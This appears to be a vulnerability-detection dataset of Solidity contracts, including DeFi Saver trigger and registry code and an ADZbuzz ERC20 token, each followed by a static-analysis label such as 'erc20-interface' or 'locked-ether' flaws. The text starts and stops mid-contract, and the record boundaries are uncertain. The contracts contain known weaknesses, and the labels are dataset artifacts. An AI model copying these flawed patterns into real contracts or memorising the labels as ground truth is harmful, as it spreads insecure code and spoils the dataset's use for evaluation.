IWETH(WETH_ADDR).withdraw(_amount);
}
function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) {
if (_tokenAddr == ETH_ADDR) {
return _acc.balance;
} else {
return IERC20(_tokenAddr).balanceOf(_acc);
}
}
function getTokenDecimals(address _token) internal view returns (uint256) {
if (_token == ETH_ADDR) return 18;
return IERC20(_token).decimals();
}
}
contract MainnetTriggerAddresses {
address public constant CHAINLINK_FEED_REGISTRY = 0x47Fb2585D2C56Fe188D0E6ec628a38b74fCeeeDf;
address public constant UNISWAP_V3_NONFUNGIBLE_POSITION_MANAGER = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
address public constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
address public constant MCD_PRICE_VERIFIER = 0xeAa474cbFFA87Ae0F1a6f68a3aBA6C77C656F72c;
address internal constant WSTETH_ADDR = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address internal constant STETH_ADDR = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
}
contract TriggerHelper is MainnetTriggerAddresses {
}
contract ChainLinkPriceTrigger is ITrigger, AdminAuth, TriggerHelper, DSMath {
using TokenUtils for address;
enum PriceState {
OVER,
UNDER
}
/// @param tokenAddr address of the token which price we trigger with
/// @param price price in USD of the token that represents the triggerable point
/// @param state represents if we want the current price to be higher or lower than price param
struct SubParams {
address tokenAddr;
uint256 price;
uint8 state;
}
IFeedRegistry public constant feedRegistry =
IFeedRegistry(CHAINLINK_FEED_REGISTRY);
/// @dev checks chainlink oracle for current price and triggers if it's in a correct state
function isTriggered(bytes memory, bytes memory _subData) public view override returns (bool) {
SubParams memory triggerSubData = parseSubInputs(_subData);
uint256 currPrice = getPrice(triggerSubData.tokenAddr);
if (PriceState(triggerSubData.state) == PriceState.OVER) {
if (currPrice > triggerSubData.price) return true;
}
if (PriceState(triggerSubData.state) == PriceState.UNDER) {
if (currPrice < triggerSubData.price) return true;
}
return false;
}
/// @dev helper function that returns latest token price in USD
function getPrice(address _inputTokenAddr) public view returns (uint256) {
address tokenAddr = _inputTokenAddr;
if (_inputTokenAddr == TokenUtils.WETH_ADDR) {
tokenAddr = TokenUtils.ETH_ADDR;
}
if (_inputTokenAddr == WSTETH_ADDR) {
tokenAddr = STETH_ADDR;
}
(, int256 price, , , ) = feedRegistry.latestRoundData(tokenAddr, Denominations.USD);
if (_inputTokenAddr == WSTETH_ADDR) {
return wmul(uint256(price), IWStEth(WSTETH_ADDR).stEthPerToken());
}
return uint256(price);
}
function changedSubData(bytes memory _subData) public pure override returns (bytes memory) {
}
function isChangeable() public pure override returns (bool){
return false;
}
function parseSubInputs(bytes memory _callData)
internal
pure
returns (SubParams memory params)
{
params = abi.decode(_callData, (SubParams));
}
}
| These are the vulnerabilities found
1) erc20-interface with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT237407' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT237407
// Name : ADZbuzz Theatlantic.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT237407";
name = "ADZbuzz Theatlantic.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10;
pragma experimental ABIEncoderV2;
abstract contract IDFSRegistry {
function getAddr(bytes4 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint256 digits);
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
//insufficient balance
error InsufficientBalance(uint256 available, uint256 required);
//unable to send value, recipient may have reverted
error SendingValueFail();
//insufficient balance for call
error InsufficientBalanceForCall(uint256 available, uint256 required);
//call to non-contract
error NonContractCall();
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
uint256 balance = address(this).balance;
if (balance < amount){
revert InsufficientBalance(balance, amount);
}
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
if (!(success)){
revert SendingValueFail();
}
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
uint256 balance = address(this).balance;
if (balance < value){
revert InsufficientBalanceForCall(balance, value);
}
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
if (!(isContract(target))){
revert NonContractCall();
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract MainnetAuthAddresses {
address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR
}
contract AuthHelper is MainnetAuthAddresses {
}
contract AdminVault is AuthHelper {
address public owner;
address public admin;
error SenderNotAdmin();
constructor() {
owner = msg.sender;
admin = ADMIN_ADDR;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
admin = _admin;
}
}
contract AdminAuth is AuthHelper {
using SafeERC20 for IERC20;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
error SenderNotOwner();
error SenderNotAdmin();
modifier onlyOwner() {
if (adminVault.owner() != msg.sender){
revert SenderNotOwner();
}
_;
}
modifier onlyAdmin() {
if (adminVault.admin() != msg.sender){
revert SenderNotAdmin();
}
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
contract DFSRegistry is AdminAuth {
error EntryAlreadyExistsError(bytes4);
error EntryNonExistentError(bytes4);
error EntryNotInChangeError(bytes4);
error ChangeNotReadyError(uint256,uint256);
error EmptyPrevAddrError(bytes4);
error AlreadyInContractChangeError(bytes4);
error AlreadyInWaitPeriodChangeError(bytes4);
event AddNewContract(address,bytes4,address,uint256);
event RevertToPreviousAddress(address,bytes4,address,address);
event StartContractChange(address,bytes4,address,address);
event ApproveContractChange(address,bytes4,address,address);
event CancelContractChange(address,bytes4,address,address);
event StartWaitPeriodChange(address,bytes4,uint256);
event ApproveWaitPeriodChange(address,bytes4,uint256,uint256);
event CancelWaitPeriodChange(address,bytes4,uint256,uint256);
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inContractChange;
bool inWaitPeriodChange;
bool exists;
}
mapping(bytes4 => Entry) public entries;
mapping(bytes4 => address) public previousAddresses;
mapping(bytes4 => address) public pendingAddresses;
mapping(bytes4 => uint256) public pendingWaitTimes;
/// @notice Given an contract id returns the registered address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes4 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registered
/// @param _id Id of contract
function isRegistered(bytes4 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes4 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
if (entries[_id].exists){
revert EntryAlreadyExistsError(_id);
}
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inContractChange: false,
inWaitPeriodChange: false,
exists: true
});
emit AddNewContract(msg.sender, _id, _contractAddr, _waitPeriod);
}
/// @notice Reverts to the previous address immediately
/// @dev In case the new version has a fault, a quick way to fallback to the old contract
/// @param _id Id of contract
function revertToPreviousAddress(bytes4 _id) public onlyOwner {
if (!(entries[_id].exists)){
revert EntryNonExistentError(_id);
}
if (previousAddresses[_id] == address(0)){
revert EmptyPrevAddrError(_id);
}
address currentAddr = entries[_id].contractAddr;
entries[_id].contractAddr = previousAddresses[_id];
emit RevertToPreviousAddress(msg.sender, _id, currentAddr, previousAddresses[_id]);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes4 _id, address _newContractAddr) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inWaitPeriodChange){
revert AlreadyInWaitPeriodChangeError(_id);
}
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inContractChange = true;
pendingAddresses[_id] = _newContractAddr;
emit StartContractChange(msg.sender, _id, entries[_id].contractAddr, _newContractAddr);
}
/// @notice Changes new contract address, correct time must have passed
/// @param _id Id of contract
function approveContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){// solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
previousAddresses[_id] = oldContractAddr;
emit ApproveContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inContractChange){
revert EntryNotInChangeError(_id);
}
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
emit CancelContractChange(msg.sender, _id, oldContractAddr, entries[_id].contractAddr);
}
/// @notice Starts the change for waitPeriod
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time
function startWaitPeriodChange(bytes4 _id, uint256 _newWaitPeriod) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (entries[_id].inContractChange){
revert AlreadyInContractChangeError(_id);
}
pendingWaitTimes[_id] = _newWaitPeriod;
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inWaitPeriodChange = true;
emit StartWaitPeriodChange(msg.sender, _id, _newWaitPeriod);
}
/// @notice Changes new wait period, correct time must have passed
/// @param _id Id of contract
function approveWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
if (block.timestamp < (entries[_id].changeStartTime + entries[_id].waitPeriod)){ // solhint-disable-line
revert ChangeNotReadyError(block.timestamp, (entries[_id].changeStartTime + entries[_id].waitPeriod));
}
uint256 oldWaitTime = entries[_id].waitPeriod;
entries[_id].waitPeriod = pendingWaitTimes[_id];
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
pendingWaitTimes[_id] = 0;
emit ApproveWaitPeriodChange(msg.sender, _id, oldWaitTime, entries[_id].waitPeriod);
}
/// @notice Cancel wait period change
/// @param _id Id of contract
function cancelWaitPeriodChange(bytes4 _id) public onlyOwner {
if (!entries[_id].exists){
revert EntryNonExistentError(_id);
}
if (!entries[_id].inWaitPeriodChange){
revert EntryNotInChangeError(_id);
}
uint256 oldWaitPeriod = pendingWaitTimes[_id];
pendingWaitTimes[_id] = 0;
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
emit CancelWaitPeriodChange(msg.sender, _id, oldWaitPeriod, entries[_id].waitPeriod);
}
}
abstract contract DSAuthority {
function canCall(
address src,
address dst,
bytes4 sig
) public view virtual returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority(address indexed authority);
event LogSetOwner(address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_) public auth {
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "Not authorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(address(0))) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
abstract contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
constructor(address _cacheAddr) {
if (!(setCache(_cacheAddr))){
require(isAuthorized(msg.sender, msg.sig), "Not authorized");
}
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
// use the proxy to execute calldata _data on contract _code
function execute(bytes memory _code, bytes memory _data)
public
payable
virtual
returns (address target, bytes32 response);
function execute(address _target, bytes memory _data)
public
payable
virtual
returns (bytes32 response);
//set new cache
function setCache(address _cacheAddr) public payable virtual returns (bool);
}
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes memory _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes memory _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
contract DefisaverLogger {
event RecipeEvent(
address indexed caller,
string indexed logName
);
event ActionDirectEvent(
address indexed caller,
string indexed logName,
bytes data
);
function logRecipeEvent(
string memory _logName
) public {
emit RecipeEvent(msg.sender, _logName);
}
function logActionDirectEvent(
string memory _logName,
bytes memory _data
) public {
emit ActionDirectEvent(msg.sender, _logName, _data);
}
}
contract MainnetActionsUtilAddresses {
address internal constant DFS_REG_CONTROLLER_ADDR = 0xF8f8B3C98Cf2E63Df3041b73f80F362a4cf3A576;
address internal constant REGISTRY_ADDR = 0x287778F121F134C66212FB16c9b53eC991D32f5b;
address internal constant DFS_LOGGER_ADDR = 0xcE7a977Cac4a481bc84AC06b2Da0df614e621cf3;
}
contract ActionsUtilHelper is MainnetActionsUtilAddresses {
}
abstract contract ActionBase is AdminAuth, ActionsUtilHelper {
event ActionEvent(
string indexed logName,
bytes data
);
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
DefisaverLogger public constant logger = DefisaverLogger(
DFS_LOGGER_ADDR
);
//Wrong sub index value
error SubIndexValueError();
//Wrong return index value
error ReturnIndexValueError();
/// @dev Subscription params index range [128, 255]
uint8 public constant SUB_MIN_INDEX_VALUE = 128;
uint8 public constant SUB_MAX_INDEX_VALUE = 255;
/// @dev Return params index range [1, 127]
uint8 public constant RETURN_MIN_INDEX_VALUE = 1;
uint8 public constant RETURN_MAX_INDEX_VALUE = 127;
/// @dev If the input value should not be replaced
uint8 public constant NO_PARAM_MAPPING = 0;
/// @dev We need to parse Flash loan actions in a different way
enum ActionType { FL_ACTION, STANDARD_ACTION, FEE_ACTION, CHECK_ACTION, CUSTOM_ACTION }
/// @notice Parses inputs and runs the implemented action through a proxy
/// @dev Is called by the RecipeExecutor chaining actions together
/// @param _callData Array of input values each value encoded as bytes
/// @param _subData Array of subscribed vales, replaces input values if specified
/// @param _paramMapping Array that specifies how return and subscribed values are mapped in input
/// @param _returnValues Returns values from actions before, which can be injected in inputs
/// @return Returns a bytes32 value through DSProxy, each actions implements what that value is
function executeAction(
bytes memory _callData,
bytes32[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual returns (bytes32);
/// @notice Parses inputs and runs the single implemented action through a proxy
/// @dev Used to save gas when executing a single action directly
function executeActionDirect(bytes memory _callData) public virtual payable;
/// @notice Returns the type of action we are implementing
function actionType() public pure virtual returns (uint8);
//////////////////////////// HELPER METHODS ////////////////////////////
/// @notice Given an uint256 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamUint(
uint _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (uint) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = uint(_returnValues[getReturnIndex(_mapType)]);
} else {
_param = uint256(_subData[getSubIndex(_mapType)]);
}
}
return _param;
}
/// @notice Given an addr input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamAddr(
address _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal view returns (address) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = address(bytes20((_returnValues[getReturnIndex(_mapType)])));
} else {
/// @dev The last two values are specially reserved for proxy addr and owner addr
if (_mapType == 254) return address(this); //DSProxy address
if (_mapType == 255) return DSProxy(payable(address(this))).owner(); // owner of DSProxy
_param = address(uint160(uint256(_subData[getSubIndex(_mapType)])));
}
}
return _param;
}
/// @notice Given an bytes32 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can replace the input value with
/// @param _returnValues Array of subscription data we can replace the input value with
function _parseParamABytes32(
bytes32 _param,
uint8 _mapType,
bytes32[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (bytes32) {
if (isReplaceable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = (_returnValues[getReturnIndex(_mapType)]);
} else {
_param = _subData[getSubIndex(_mapType)];
}
}
return _param;
}
/// @notice Checks if the paramMapping value indicated that we need to inject values
/// @param _type Indicated the type of the input
function isReplaceable(uint8 _type) internal pure returns (bool) {
return _type != NO_PARAM_MAPPING;
}
/// @notice Checks if the paramMapping value is in the return value range
/// @param _type Indicated the type of the input
function isReturnInjection(uint8 _type) internal pure returns (bool) {
return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in return array value
/// @param _type Indicated the type of the input
function getReturnIndex(uint8 _type) internal pure returns (uint8) {
if (!(isReturnInjection(_type))){
revert SubIndexValueError();
}
return (_type - RETURN_MIN_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in sub array value
/// @param _type Indicated the type of the input
function getSubIndex(uint8 _type) internal pure returns (uint8) {
if (_type < SUB_MIN_INDEX_VALUE){
revert ReturnIndexValueError();
}
return (_type - SUB_MIN_INDEX_VALUE);
}
}
contract SubscriptionsMainnetAddresses {
address public constant MCD_SUB_ADDRESS = 0xC45d4f6B6bf41b6EdAA58B01c4298B8d9078269a;
